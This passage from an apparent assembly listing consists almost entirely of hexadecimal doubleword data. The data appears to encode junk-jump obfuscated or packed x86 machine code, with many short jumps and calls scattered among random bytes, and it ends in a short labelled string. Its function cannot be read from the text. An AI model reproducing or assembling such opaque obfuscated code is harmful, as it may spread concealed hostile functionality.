0B0C84952h, 0E87ECD80h dd 10h, 0F4402ABEh, 22EE3478h, 0A722AA43h, 0D418C1F4h dd 68B8575Ah, 5F78F075h, 0CE9h, 16051A00h, 0EF93AC5Dh dd 0ED1DA093h, 0D820F98h, 0E9000000h, 8, 0FCA02CBDh, 0C007E045h dd 0FFBF0F60h, 61FA8B66h, 51FB8B66h, 592ED580h, 0FCEB70Fh dd 885h, 8E0F5000h, 0 dd 0DBBF0F5Eh, 6890FFCh, 0F000000h, 84h, 820F00h, 0B4000000h dd 96C681D5h, 0F4FCB5Ch, 0C681CFB7h, 265BEDA1h, 800F75B1h dd 6, 870Fh, 60F50000h, 6E8h, 0D339A500h, 58C76CE2h, 61D98B66h dd 9A07E781h, 0EF8A7EC1h, 5E953h, 75C0000h, 5F0A879Ch dd 38B0Fh, 0B70F0000h, 0D98166FEh, 7E8AF81h, 84000000h dd 858E5A49h, 0ACB602B3h, 0C38B525Ah, 0FB8B6658h, 0FC64BEBFh dd 0FEA8A01h, 1382h, 0EE900h, 37D60000h, 4A696895h, 705D9225h dd 0C7628DB2h, 28C0Fh, 0F88B0000h, 0AE9h, 57138200h, 0AEAB1EDCh dd 66076150h, 8B1435B9h, 48E381F7h, 8B77381Eh, 0F08166F3h dd 0E85267F7h, 8, 0F2A397B1h, 0DFA3B296h, 5FFFD980h, 8A0FF558h dd 3, 813AEA80h, 4DEA41F0h, 6656563Bh, 0C475D381h, 8F0F5859h dd 4, 0CCA6BF66h, 5072DD80h, 58DFBF0Fh, 2820Fh, 5E570000h dd 0E8C0Fh, 5E80000h, 48000000h, 7B4EEEEh, 5EC0B70Fh, 7E9h dd 78A99F00h, 0F88B9B93h, 996B866h, 79CA8166h, 10E97Ah dd 8AAA0000h, 9253685Fh, 0D192518Bh, 426BA1E5h, 0BF661D52h dd 0BE66A18Dh, 9DBF6F8Ch, 0B25E5A4Dh, 5E83Eh, 88100000h dd 80D6A006h, 805FB2EEh, 66573ED4h, 5F6F06B9h, 0FCF8B66h dd 686h, 830F00h, 66000000h, 820FC88Bh, 0Fh, 0AE9h, 2B65FA00h dd 0E3C84279h, 0E9E835CAh, 0Fh, 706A81AEh, 0C04C0979h dd 4190D688h, 0BB873553h, 559C4D67h, 6E8h, 1279DB00h, 66ADE21Ah dd 0BB5AF88Bh, 7D6941E7h, 0E38166FCh, 0BE606264h, 4687F952h dd 0CE8h, 155EB900h, 8EF50E28h, 4891666Eh, 5E9CB1D9h, 0D3816661h dd 8B660847h, 0D08166C6h, 8D0FDAB0h, 6, 28AFDF81h, 9E9205Dh dd 0C8000000h, 4DA818F5h, 4313CEB8h, 0FD78B66h, 0B80h dd 5880F00h, 66000000h, 8DCDD881h, 3860Fh, 8B660000h, 10E9D9h dd 0BD4E0000h, 0DDB934B9h, 11E19036h, 0EAAA3B07h, 850F0CBAh dd 6, 7E7CC181h, 0CB812CC2h, 69C7ADA4h, 6E8h, 95D3500h dd 8BF0A148h, 81FC58F7h, 68EA2CEh, 8E85Fh, 0BAEB0000h dd 6F77B123h, 5AFCEFA6h, 66D3BF0Fh, 0E8B743BAh, 9, 9D691579h dd 0D42D738Dh, 0CE8C3h, 0A0570000h, 0BCC7DFF1h, 0B3DCADBh dd 890F4545h, 0 dd 0B70F5A5Eh, 0B70F60DAh, 0F08B66DEh, 0AE95361h, 93000000h dd 86B97F86h, 0ACB2EB5h, 81665B47h, 66780CCBh, 0F61A0B8h dd 882h, 28B0F00h, 50000000h, 3820F5Bh, 0F000000h, 830FDEB7h dd 5, 96C98166h, 815660E4h, 63DCA0CAh, 5E95B03h, 68000000h dd 3AF970EAh, 9E95661h, 30000000h, 2559C328h, 6E5095EFh dd 81D68B5Bh, 286753E3h, 12D18048h, 0F850Fh, 7E80000h dd 9C000000h, 0CE196560h, 61600A62h, 44BA605Bh, 8A20605Ah dd 81F961E8h, 0F264AFC0h, 0FE96Dh, 0AD930000h, 0EE38CF26h dd 694F5B9Eh, 4BCC70D7h, 0E2F18053h, 12E9h, 0E697DE00h dd 4D23362Eh, 24CC3B11h, 0D8771464h, 66600F84h, 8B66C28Bh dd 0F88B57DFh, 0BE9F858h, 55000000h, 0BF2E61D9h, 0CA07AA76h dd 0B866E2A1h, 0BAB83B1Ch, 0E92C8BA5h, 8, 0A6CA7A51h, 0F106D5Ch dd 8697F181h, 0B70F73DFh, 13E8D8h, 9D1C0000h, 0AD89D02h dd 0E2EAA2D6h, 80BED1DDh, 867A65A3h, 0EE830h, 0A8B90000h dd 0AD554254h, 9F9E4A08h, 0DDE61475h, 8D0Fh, 595F0000h dd 82CB8166h, 0ADBE6603h, 0DA80F58Eh, 0B948B907h, 0F607DFBh dd 282h, 81616000h, 0CD303CF6h, 81666135h, 8B673CDBh, 61FDBAD7h dd 8F0F683Bh, 3, 0F15D280h, 885h, 2860F00h, 50000000h dd 0B6B4BB58h, 0BE93464h, 64000000h, 335E2F8Eh, 0E94FDB5Fh dd 0C38028E1h, 7BBA66B1h, 0DE89Fh, 8ACF0000h, 675849C2h dd 0C7FEE962h, 0E8A1F895h, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h dd 7F973D3Eh, 0E95B5F40h, 12h, 0CD04C81Dh, 7B20A38Dh, 0FABD69F5h dd 4708809Dh, 0BF0FE9C1h, 4EF480C7h, 5E9h, 0DBC0F500h dd 8B0F060Eh, 3, 0E8D18B66h, 0Fh, 25A9519h, 7C34D644h dd 47D36C2Eh, 0B8E5E222h, 70993F0h, 0F54FB75Eh, 10E8h dd 54CDD500h, 7899A551h, 0B4FE0463h, 462A6C97h, 0CA8A5AD9h dd 9E958B5h, 1F000000h, 8390887Ah, 0BD750EA8h, 13860Fh dd 0EE90000h, 0DA000000h, 0B77DEF1Dh, 6A0AB4B3h, 0CCEE76CBh dd 0BAEDB2E9h, 1A6702D8h, 0BE8h, 55A4DA00h, 3A98551Fh dd 0FADD264h, 0CE9h, 0AD22A800h, 0CE30A9Fh, 0FFA3929Bh dd 0C1815B8Dh, 9B00B51h, 0AE53B860h, 0F5510A89h, 0C181615Fh dd 33F38393h, 1A8F0Fh, 0EE80000h, 53000000h, 0FCA02CBDh dd 0C007E045h, 568A8BBDh, 860F53h, 5A000000h, 0E8CF8B66h dd 12h, 0E27565C4h, 157FD26Eh, 0A7CFDBDFh, 0F6D2AF9Bh dd 0B75986F5h, 0F180FC14h, 7E883h, 4B560000h, 0EDE4E18Dh dd 0CB8B66B9h, 7E85Eh, 0D8E0000h, 0B23363B5h, 8C0F7Eh dd 5A000000h, 0E121F781h, 8B571971h, 840F5AFAh, 5, 0CCD30DBFh dd 66F58A1Ch, 7CBEF88Bh, 660745FFh, 8160C18Bh, 941305DFh dd 0D78B6614h, 10E961h, 79390000h, 346F75D0h, 238D4D47h dd 883C6772h, 0F681F5B2h, 3D430CCBh, 0E7B96660h, 830F614Ah dd 2, 0B560CB8Bh, 28C0F19h, 60000000h, 93B16161h, 12E9h dd 4FCCB400h, 0D084CBD0h, 29B928D6h, 0BF13471h, 6691C419h dd 286AE181h, 68B0Fh, 0E3810000h, 42638C78h, 8E8C68Ah dd 77000000h, 62AA03B1h, 814EF5CEh, 15055BE7h, 7E95F7Ch dd 13000000h, 0BC7679B7h, 6E92C78h, 5C000000h, 27CC0C06h dd 31C081C1h, 66632E5Ah, 8166C38Bh, 0E89906D0h, 0Fh, 0FAD0B85Fh dd 585B5132h, 0F7F14839h, 0F987037Ch, 9E85Fh, 0F6A70000h dd 287B9570h, 0F945C864h, 8B0F5058h, 5, 0A59772B9h, 0F0BA5807h dd 0F2F3E48h, 8166C0B7h, 0FDAC9D1h, 383h, 0D8B70F00h, 60FEB70Fh dd 0FEB96660h, 0F47CBB87h, 616151CBh, 0EEC78166h, 5DDA808Dh dd 0E180D18Bh, 5E90Bh, 706E0000h, 0E82EA93Dh, 0Fh, 30CD79ECh dd 5DB0DD3Bh, 0FFCE8C56h, 60B868CEh, 8E0Fh, 8B660000h dd 665B61D3h, 1102E681h, 9E8h, 70338900h, 8263CE48h, 8B0FF681h dd 0 dd 0EF81665Fh, 0D3812CA3h, 7B5A7B60h, 0BEBF5B52h, 0F3F0770h dd 88h, 0CA816600h, 0BF0F1E91h, 9E9F7h, 9A730000h, 0C219E108h dd 66295776h, 0EE9F18Bh, 22000000h, 0DE82EED4h, 39EB187Eh dd 38B96969h, 0C2816628h, 0A4B2DA48h, 0DC3B97BFh, 5BF95218h dd 0D98B6660h, 66D68B60h, 61C9FEB9h, 8E85761h, 1B000000h dd 5AE75925h, 0E841FCBCh, 0Bh, 11369C88h, 6189128Eh, 5E86397Eh dd 0BF0F585Bh, 0DE9CAh, 0D7980000h, 0E3569A99h, 0BAB3BD78h dd 52CC6B5Bh, 14E9h, 894B7200h, 0ABF5ED68h, 0C2B3C5FFh dd 36615198h, 0FF6B1C0Ch, 0F3805F85h, 880FFCADh, 3, 81D88B66h dd 7C248FE1h, 0B70F504Fh, 0BE958D3h, 0E2000000h, 0DCA3E9F1h dd 61A3DCEAh, 95B20DD0h, 8F0Fh, 8B0F0000h, 3, 0BEC1BF0Fh dd 32A105A0h, 0E9D18B66h, 8, 0A99109D4h, 49F27EAh, 148F0F60h dd 0E9000000h, 0Fh, 4C785CE3h, 0EC69881h, 0D286FC0Bh, 0E9496207h dd 5, 7D8DAF1Ch, 87B2611Dh, 0EA8166F9h, 0CF81E4F3h, 37557546h dd 73DC8060h, 810F61h, 0F000000h, 889h, 0E0815700h, 662A82F5h dd 6880F5Fh, 81000000h, 5F743EF0h, 0FBBF0F70h, 0FC0F080h dd 688h, 16E38100h, 0FC04EF8Ch, 8168DA80h, 8FC1FDF7h, 61F86023h dd 5860Fh, 34B80000h, 660C71DBh, 66B3DAB9h, 0FBE4CBAh dd 387h, 0CA8B6600h, 0E9D8B70Fh, 11h, 0DB912BDDh, 734AE749h dd 4ECA9260h, 268152DEh, 0D381FCABh, 51DDB8B8h, 0D1B70FF5h dd 0C870Fh, 7E90000h, 48000000h, 11ED6C30h, 0C18B185Bh dd 81DF8B66h, 0E2D1A2C3h, 0C281660Ch, 0CA8B5D33h, 7E9h dd 19F89D00h, 0E1A5E99Bh, 13E960h, 61190000h, 8ED385EEh dd 0C8F72D1Ch, 99C50D9Eh, 55631758h, 6CE28144h, 610ACBE8h dd 0FE6ED0BAh, 0DABF0F25h, 0FE8h, 89777B00h, 0B30308DCh dd 0D8B27DA0h, 8381F9B9h, 9E95Ah, 8BD80000h, 8EAF87A7h dd 0FAABAC0h, 38Bh, 0C6B70F00h, 1C850Fh, 8B0F0000h, 16h dd 11E9h, 3071ED00h, 6A830A3Fh, 0C366C00Ah, 0A705F5BFh dd 60B8F651h, 6621F3EFh, 0E96C70BAh, 0Ch, 0EDCF012Fh, 0E3CBCD02h dd 7388D31Fh, 0E7D064BAh, 0CB81661Dh, 8B668286h, 7BA66D9h dd 0D2B70F01h, 58C0Fh, 16BA0000h, 0E9449F5Eh, 0Eh, 0A365C2CEh dd 3DD254B8h, 56AAAF43h, 0B86625B3h, 0BA66888Bh, 0BF0FE694h dd 0AC981DBh, 0E8034BD2h, 10h, 4AFF6AE6h, 93F545FBh, 86B97F86h dd 0ACB2EB5h, 72E858BAh, 46B75962h, 0EBCA8166h, 0B1B5F953h dd 4C8ABA66h, 8E9h, 816DFF00h, 714218AFh, 13E89Fh, 0EF740000h dd 0E05416AAh, 47F2DA7Ch, 0F92E132Bh, 0CCDB8E98h, 5AEB8044h dd 2800F5Fh, 0B7000000h, 14BE661Fh, 66A2B6A5h, 0CA02C681h dd 8BFE8B66h, 58B0FFEh, 0BA000000h, 6A9B0C2Ah, 6870Fh dd 8C0F0000h, 0 dd 5870Fh, 81660000h, 8B1C72C1h, 0CB8166CFh, 0BF0F839Ah dd 3880FD2h, 0F000000h, 0C981FBBFh, 6756D2CDh, 11E9h, 0A6B6FA00h dd 0DA1897F0h, 6A72ACA6h, 3AD7E3C3h, 0F78AFA39h, 0DE8h dd 35A14700h, 6D0E901Dh, 27042A5Ah, 0CE904C9h, 34000000h dd 5C8A42Fh, 2927A4DCh, 59C23187h, 1A830Fh, 0EE80000h dd 0FE000000h, 0CD317867h, 8C5C7778h, 0CE23C96Ch, 860F04h dd 5E000000h, 8073B966h, 9DBAF78Bh, 6641B1E9h, 381EDF81h dd 9E9h, 146F5500h, 73535750h, 0BA66AB9Bh, 81663D83h, 0F4D7EF3h dd 81h, 0CA8B6600h, 0EE9h, 0E86F3900h, 3ADC5312h, 215D1D50h dd 66503D21h, 0E86DD681h, 6840Fh, 0D7810000h, 7F100B4Ah dd 0A880CB81h, 8E81E64h, 3F000000h, 0F9BB9D77h, 8BEC5763h dd 0CE95FC7h, 0AB000000h, 0F86E0861h, 115ABAD0h, 6669892Ah dd 82B2F681h, 0E6C43FB8h, 820F6045h, 5, 28B828BBh, 6149B331h dd 0DE9h, 0F82FD800h, 0D7B3481Bh, 0F704FA8Ah, 66F87A99h dd 5688E4BBh, 0F5B77B6h, 0B70FD7B7h, 10E8F9h, 0A77C0000h dd 8353277Eh, 0A953B5FDh, 0DB5CF494h, 0EE83B2Ah, 92000000h dd 1C343659h, 7025E0F3h, 39AFA8EAh, 0C78166A5h, 5E5E9FC2h dd 0F3BF0F50h, 108A0F5Bh, 0F000000h, 0A8Fh, 5E900h, 22E30000h dd 66E624A6h, 0FC918B8h, 588h, 1DFCB800h, 0BF0F69C4h, 58E0FFBh dd 0BF000000h, 22294C90h, 1870F57h, 0FC000000h, 1B75159h dd 66C0805Eh, 602DF380h, 1800Fh, 66F50000h, 61525BBEh dd 0FE9h, 0C28D1200h, 0B38F3662h, 4E134B0Ch, 742BEA45h dd 810Fh, 5E90000h, 97000000h, 556C58B8h, 0E0EB8060h, 0EE9h dd 0D2A96900h, 3034CAE0h, 5B3A6938h, 61E412EBh, 7EEA8166h dd 58F55644h, 5E9h, 6D96000h, 0F98A98A7h, 18D0Fh, 66F50000h dd 0E0D7D981h, 8E9FA8Bh, 0A4000000h, 0C2B63E7Ch, 0FDD733Dh dd 38Eh, 0C88B6600h, 0CE960h, 57C40000h, 0BBA91057h, 4D074315h dd 8166BCCDh, 61E921D7h, 0DE8h, 0A413A900h, 10C7D3ECh dd 0D2A96979h, 5760CAE0h, 0FE958h, 7CE50000h, 8B9500E9h dd 0FF747E22h, 0A314A014h, 815A6119h, 0D0DF18E8h, 0F8BF0F3Bh dd 0DF8BC78Ah, 6072C480h, 0FCF88B66h, 0D68B6661h, 58A0Fh dd 81660000h, 0E9C75AD0h, 0Fh, 0DCB239C2h, 0C5DF3F6Bh dd 5EF4CED3h, 539416EAh, 5B38E280h, 0DE9h, 1AFE7200h, 8938D086h dd 34E9786Fh, 0E9515E69h, 0Bh, 0FC199376h, 92ABC20Ch, 5FA07593h dd 15DF8060h, 61C0B70Fh, 9E9h, 41EEA500h, 505C3B81h, 6660144Fh dd 8125F8BEh, 1BD29BCBh, 96B26144h, 14E9h, 653A7B00h, 10BAE66Bh dd 2C1C3F32h, 81674D51h, 888DD0E1h, 0C881667Dh, 0EE81CCF0h dd 18B9A7CEh, 6082A8BFh, 81665736h, 5BD4E7D1h, 58B0Fh dd 81660000h, 0E9EB94C6h, 11h, 7D87E547h, 2C7A55Fh, 8AA1622Fh dd 0C9628704h, 11E86089h, 0E000000h, 0ABDCF2C1h, 0CFA0D524h dd 20640012h, 0E6505DB2h, 14E9h, 0AB4C9A00h, 1FF8F334h dd 0DF6CDA9Eh, 353CA2E8h, 1F3E77CAh, 0E9605984h, 10h, 0BFB80495h dd 8951F090h, 15FD2326h, 263377D5h, 9C5E83B9h, 0F61612Bh dd 84h, 0D6BF0F00h, 7E9h, 53200B00h, 0A9B049EAh, 80D08B66h dd 0BF0F18F0h, 13E9FCDEh, 96000000h, 6255C966h, 9E657Fh dd 3B4A3F70h, 1C0BEE8Fh, 8B663538h, 0EF81F8C2h, 20D73587h dd 10E8h, 3724BD00h, 0BE0DC183h, 0C2FDBE24h, 6B005FF2h dd 0C6815033h, 319258EBh, 0FE8A595Eh, 0DE860h, 0F0BF0000h dd 8806A096h, 0B3DFBD2Ch, 0E979E85Ch, 0Fh, 0DA073A8Dh dd 7436998Bh, 0E44F20B7h, 5AF14443h, 816661FCh, 668D2FF0h dd 0E580CE8Bh, 12E927h, 6A9F0000h, 12D8158Eh, 993C6663h dd 4C271101h, 7A0FBEA6h, 2840Fh, 0F08B0000h, 66D8C180h dd 0D565E181h, 0C28166F8h, 816621B7h, 0FB98CCEh, 0BF0FCBBFh dd 0DBB70FF8h, 0FDFBF0Fh, 8B66D8BFh, 0BE9D3h, 78F80000h dd 9F09AAF8h, 3DFB2236h, 0E9C28B32h, 12h, 91B50B4Dh, 4C1612BDh dd 0FD086667h, 20BCFE3Ch, 8B665EDAh, 0CE8C7h, 7F5F0000h dd 0D099CD58h, 0CDCDC4D5h, 8B662E3Ch, 0CE859CBh, 8B000000h dd 0A0A30D64h, 50AB588Dh, 0FC0B4BA4h, 58BF665Eh, 10E972h dd 26FC0000h, 0C2CB6678h, 0E336EEC0h, 0DB664898h, 8B665D64h dd 0C18166FEh, 8166EED1h, 66A398F6h, 830FD08Bh, 11h, 0CE9h dd 86984100h, 955E3966h, 7BB7B5F9h, 0BF0F5382h, 0D88B5BC0h dd 38E0FF8h, 80000000h, 8D0F63D8h, 4, 928EBA66h, 8E9h dd 0A6685C00h, 66D2FF42h, 8E94Dh, 11770000h, 0AB38D5Dh dd 0B866B2BFh, 0DE8157Eh, 2C000000h, 0FB3DFA5Dh, 8D140AE6h dd 25F004h, 9E9h, 89EE7D00h, 26395E75h, 665F9053h, 93AEE681h dd 6311BF66h, 89C88166h, 0BE8CFh, 5C880000h, 5C2F9C2Fh dd 903DE104h, 6E9EEh, 7DF80000h, 4207F29Ah, 0F0CD805Bh dd 6E9h, 1F092A00h, 0F03FFF9h, 38Bh, 90E68000h, 0AD75C181h dd 0BEF57A48h, 4E73999Ch, 11E9h, 8CB13600h, 9953A533h dd 0D1212DEEh, 0DFAF9E9Ah, 0DF8B25F5h, 0FE5B760h, 0F61F6BFh dd 288h, 0FC28A00h, 8166DAB7h, 6690E6C7h, 5007D5BBh, 13E9515Fh dd 76000000h, 4F90840Bh, 7265EB54h, 0BFC079C9h, 0F82FD828h dd 0F5B481Bh, 1688h, 11E900h, 1DDC0000h, 0AE87C071h, 7185B434h dd 0F368FF58h, 0F6030ECh, 0D8Ch, 81666000h, 816F89E2h dd 18604EF1h, 0CE8B6134h, 0D08166F9h, 0CB8B7B10h, 860Fh dd 8F0F0000h, 3, 0E8F0B70Fh, 8, 0CF70F089h, 5B9550E2h dd 605EA3B3h, 0F61F58Ah, 68Ch, 71C38100h, 0F012240h, 382h dd 0F3C18000h, 1C880Fh, 0E9600000h, 13h, 0DDAE2E2Eh, 474BC085h dd 162D95EAh, 7C35A6F5h, 8BADDAD9h, 8F0F61FAh, 4, 58D08B56h dd 3880Fh, 0F0800000h, 0F8BAF806h, 0E80A3F40h, 8, 0D84E5C19h dd 7E9FC165h, 0F081665Ah, 7CB39E17h, 29E050BFh, 0DFBF0F22h dd 0EE9h, 2E674400h, 0C2A7E0A5h, 4164FF04h, 0F4857DFh dd 0CF81F2B7h, 6EA04661h, 0F6B70FF9h, 0CBBF0FFCh, 80F38B66h dd 0C28B77F4h, 0E9F8BF0Fh, 10h, 246B9348h, 707F0795h, 0E5076BA4h dd 39A9447h, 14E9h, 0B4A16400h, 0F21C370h, 0F104ECC7h dd 0B83A747Bh, 971D92E5h, 0E181665Fh, 0B8661B45h, 830FD70Ah dd 3, 0FD3BF0Fh, 81h, 9820F00h, 0F000000h, 389h, 0F2B70F00h dd 80DFBF0Fh, 860F3BE3h, 8, 2870Fh, 61600000h, 58F55651h dd 7D68159h, 0E82AE144h, 0Bh, 90704B3Bh, 1A15A01Bh, 5628B3EBh dd 73E78166h, 60585983h, 0CE8h, 0F9F49F00h, 7C14DBB6h dd 813EA10Eh, 0CE81669Ah, 50598EE8h, 840Fh, 615F0000h dd 0B10AB9FCh, 0CBB093Bh, 0F431472h, 0C181DBB7h, 44281A55h dd 6D98166h, 860F91h, 8B000000h, 0B966F9FBh, 0B8669550h dd 6E8F3AEh, 0C0000000h, 0E7433527h, 820F5694h, 0 dd 840F5E5Ah, 8, 28A0Fh, 61600000h, 11E9F9h, 8EBB0000h dd 54A36114h, 41EB00DFh, 0EFDD214h, 817824B0h, 0C9FE0FF2h dd 0CE810h, 193A0000h, 822CD7B5h, 1707BDA4h, 8B5B8C98h dd 14E8F3h, 673E0000h, 7800D638h, 47E6EEB0h, 0D9E0171Fh dd 0F1DAD586h, 800FDEF1h, 4, 0B767BA66h, 8780B95Bh, 60F81E61h dd 0B3D18B60h, 0E1816130h, 35050C4Ch, 0B1DE8061h, 16B4C58Ah dd 54D18160h, 0F570B631h, 0A5C78161h, 6019941Eh, 0FD38B66h dd 381h, 0CBB70F00h, 0CE861h, 0F4B30000h, 11BFBF2Dh, 34E28BD5h dd 0AE9EE68h, 0C6000000h, 30697E11h, 0F183A7C7h, 0E8605B38h dd 0Fh, 750A2184h, 850BFD91h, 1B161B2Eh, 520801FEh, 27B2595Ah dd 0D7B70F61h, 0FE9h, 13DAFF00h, 0B19FBAAFh, 0AB30DDBBh dd 0F8DE3428h, 5E9B6B7h, 39000000h, 81CBFB10h, 8E0FE58Ah dd 7, 1810Fh, 0E8F80000h, 0Dh, 5596AF9Fh, 0BF2E61D9h, 0CA07AA76h dd 5800FA1h, 66000000h, 162AC881h, 0E9D38B5Eh, 12h, 4F7327DEh dd 36542CF1h, 0DBE42779h, 34E09C52h, 6653BC96h, 5922B9B9h dd 0E9D98B66h, 7, 4EF43ECAh, 0E9338EA0h, 6, 321F7C13h dd 66609984h, 6661CE8Bh, 66CF2ABEh, 8B82F281h, 2820FFCh dd 8B000000h, 2850FD9h, 0B3000000h, 18B0F15h, 0F9000000h dd 810FF98Bh, 5, 8A7403B8h, 5E83Ch, 24A20000h, 817DB862h dd 4B8298C0h, 0D18B5F24h, 8810Fh, 880F0000h, 2, 0BF0FF98Bh dd 0F88B66F3h, 7E9h, 0F4DD1700h, 27C866A7h, 8B6660F9h dd 6BEE80FAh, 0FE861h, 62FE0000h, 39B998DAh, 0BD739D3Fh dd 1E6F7F8Ch, 0D78060D4h, 5A61F578h, 3840Fh, 0DA800000h dd 10E909h, 80C90000h, 1EC87784h, 5C71C17Fh, 282B0EA6h dd 0B70FE9B4h, 0C800FF8h, 0E9000000h, 7, 94344EC0h, 51706551h dd 2880Fh, 58570000h, 20880F5Bh, 0E8000000h, 6, 6711C11Fh dd 0FE981D5h, 7F000000h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h dd 665A2B6Bh, 0BEF5D78Bh, 2492319Eh, 0FE9B3B0h, 0C6000000h dd 2D468678h, 0BDD3A2C9h, 0BAF0F3ACh, 55B1E57Ah, 0CB818AB5h dd 68C29E98h, 46B9F5F8h, 81160B49h, 10C78FEAh, 0DEB70F46h dd 5E9h, 7C620000h, 5660C35Ch, 0B05B5E50h, 3DB96184h, 805416FCh dd 0EF8172DEh, 414F2236h, 68B0F53h, 0F000000h, 83h, 0F98B5900h dd 6E8h, 74965C00h, 0F9F8757h, 0B45AC7B7h, 0FBF525Eh, 5E78EFADh dd 0FE8h, 0ECD6AC00h, 0D2480425h, 0B2952189h, 4677C2A0h dd 8059D78Bh, 0DE81C7F0h, 4A289B64h, 0F8D78B66h, 0C2BF0FFCh dd 9E96060h, 0C4000000h, 10B401F2h, 0BF6D652Ch, 0C6CB8166h dd 0BFB261E7h, 8AF78B61h, 66CC8AE7h, 80CDFBBAh, 0FE8CCD0h dd 68000000h, 57056594h, 0EF78152Eh, 9F05DD2Eh, 13E93012h dd 0C3000000h, 31C300C7h, 0E9775B26h, 0C902D1F9h, 778DD969h dd 0E959765Bh, 8, 0C973E9A1h, 50C58AB8h, 4870Fh, 8A560000h dd 0EE85EDDh, 60000000h, 2A2811C8h, 2926DF8Ah, 761405D0h dd 14E921h, 6B720000h, 0A2EC6545h, 0F427C9D8h, 0C87F4F41h dd 59DD9A16h, 8A59332Fh, 0CADF80F9h, 48E0Fh, 0B8660000h dd 8166109Dh, 0E9F528E3h, 9, 181ECB32h, 907F678Bh, 60526030h dd 8E0F5861h, 0Ch, 7E9h, 376F0E00h, 3315EBE4h, 5880F61h dd 51000000h, 5BD8BF0Fh, 0B866E2B0h, 0DB819F26h, 58AE80BEh dd 128E0F60h, 0E9000000h, 0Dh, 4599C878h, 0FDF12EFBh, 189387ABh dd 6FB160E6h, 8A0Fh, 61610000h, 0FCEB70Fh, 6656FEBFh, 7BFEC181h dd 11E95Bh, 5A350000h, 0EA0EB722h, 0E913FCA6h, 0F03C6F4Dh dd 0F425C6Dh, 680h, 0ADCF8100h, 60697BC5h, 8A1D7AB8h, 8B66617Eh dd 8E9CEh, 0E51B0000h, 674B2013h, 0C68109BFh, 0B486D39h dd 0AE8h, 5A546000h, 9AB0842Bh, 0E980A937h, 7, 588218EFh dd 5AC64D76h, 51ACB060h, 49BA6159h, 0B773D719h, 0C2BF0F0Ch dd 7E9h, 2150EE00h, 0E31E249Eh, 9E8h, 5C1E6700h, 0ADF95D65h dd 7E9E724h, 52000000h, 0A7DDB05Dh, 0F5E37F9h, 2D83h, 12E800h dd 34C80000h, 5B968DBEh, 56DFFA47h, 5274739Eh, 6EA2B22Fh dd 10E9h, 33375400h, 30AC0C66h, 0FF32D0A0h, 83711E42h dd 870F5BDBh, 0Fh, 0AE9h, 604BCB00h, 7A489C3Ah, 0F913F98Bh dd 59B3EE81h, 0E9601EA6h, 0Bh, 0DC176B94h, 995610DEh, 6093010Bh dd 122E281h, 6161382Ah, 0E932B660h, 14h, 0F0DEBC1Ch, 0B3E37Fh dd 0BD07737Fh, 0A9BFC778h, 0BF914758h, 8B665761h, 13E859C6h dd 0B9000000h, 97DECD67h, 23362EE6h, 0CC3B114Dh, 77146424h dd 0DA8184D8h, 34F0C047h, 0CBBF0F58h, 9944C781h, 14E94AD0h dd 0AF000000h, 923AB6E6h, 3071EDCCh, 6A830A3Fh, 0C366C00Ah dd 6005F5BFh, 9E9h, 2D3A7300h, 6D64EBF5h, 8166A548h, 618C2FC3h dd 0F4EF53BAh, 3DD7814Dh, 60575B52h, 18CB8166h, 5661F8C8h dd 0E8C88B5Bh, 14h, 6E333FEFh, 8FE03DF1h, 54FDB0BDh, 3C6DD081h dd 0BC30F84Eh, 13E9h, 3D52A200h, 8639CC3h, 0F23D3B50h dd 11C202A0h, 9D17B2E2h, 0BE66F55Ah, 0DF8B085Dh, 9E9h dd 74EDE100h, 0A24556E4h, 0E9F98EB7h, 0Ah, 0A4A5EA37h dd 3BA9904Eh, 0D7816FE4h, 6BB6A641h, 2F0FC281h, 0CE8B252Eh dd 0A3DE8160h, 0B145F6DCh, 8B666110h, 14E9C2h, 80660000h dd 8B56B2BBh, 8EEE2875h, 0E1EC9D1h, 0C5B23853h, 0BE56DCC8h dd 3EAB1E67h, 0DE81665Bh, 0F60D569h, 86h, 0BA666100h, 870FF385h dd 0Ch, 68A0Fh, 0EE810000h, 146EA4BAh, 5880Fh, 6EBF0000h dd 81668818h, 0DEBA8DAh, 18D4BB72h, 0B70F2291h, 0F2B70FC7h dd 60D2BF0Fh, 0F99EDBBh, 61CF8B4Ah, 0F5F6BF0Fh, 0EE8h dd 0CB805600h, 0BB4E91D4h, 0F810A070h, 525A4312h, 7E8h dd 4D84A600h, 0CBECDCh, 57585E5Fh, 5880F5Eh, 0BA000000h dd 7BF797E3h, 0C03EBF66h, 0BE9h, 0FF662400h, 23EE9716h dd 0A77D5FC5h, 81D28166h, 0CABF0F85h, 79AEBE66h, 0BB66DF8Bh dd 6CBEB27Ah, 0F6C0B21h, 0E850F3BFh, 0Ah, 29B31A0Dh, 2C6832FBh dd 0B966D29Dh, 5A581DECh, 0F60C88Ah, 8E0FD0BFh, 0 dd 0AE961h, 0B4DC0000h, 0A56F8C4Dh, 0FEA14E57h, 14E9h dd 93845C00h, 87D124E7h, 0BA942729h, 12EE6416h, 4B5C0429h dd 0DE8C3h, 19EB0000h, 765565E4h, 3097D800h, 0B3CA9AE5h dd 0EB8058FAh, 6E968h, 7DE30000h, 19419603h, 11E8h, 0EE985900h dd 68F4B03Eh, 54DD37AEh, 342F44A1h, 8B66D287h, 8AF85EFAh dd 9E8EBh, 0A7A90000h, 62AFABC5h, 66B2B821h, 605EC78Bh dd 0E18166F9h, 506183DBh, 93A723BAh, 870F5A0Ah, 3, 80CBE680h dd 5E93FF7h, 97000000h, 45316028h, 0D86562B9h, 0B70F5100h dd 0E95759D1h, 6, 1F0848AAh, 0E85BDBEEh, 0Eh, 0CC1FF6ECh dd 1CA60A48h, 43F0B2C5h, 8F0FB870h, 6, 860Fh, 0E9590000h dd 7, 0A4D2A550h, 0F317C4Dh, 80h, 6840F00h, 81000000h dd 5A7D20CAh, 0ECBA6624h, 535E5786h, 0B86658F9h, 26B9E28Bh dd 6022705Fh, 0DE9h, 0ED986E00h, 0BC33F5E5h, 0E1A83C07h dd 816180B9h, 1C8DA7C7h, 0F9F18B59h, 10E8h, 0E3696300h dd 0EFFE41F5h, 6E86D014h, 3EF4EE2Eh, 5816B37Eh, 13E8h dd 0BC00FA00h, 979DFBC2h, 0CE52EDDFh, 0A59968E5h, 625DE451h dd 0BF0F5EF8h, 0EE9DBh, 35350000h, 0E326C949h, 9AA01AC8h dd 690231C7h, 0D78166F5h, 0F38B75F9h, 13E952h, 8C210000h dd 19641703h, 3B1720AFh, 98D6C09Ah, 8B706C05h, 0D781587Fh dd 4056FF84h, 0FB8B6660h, 68B0Fh, 8D0F0000h, 0 aAKs db 'a²ªè',9,0 align 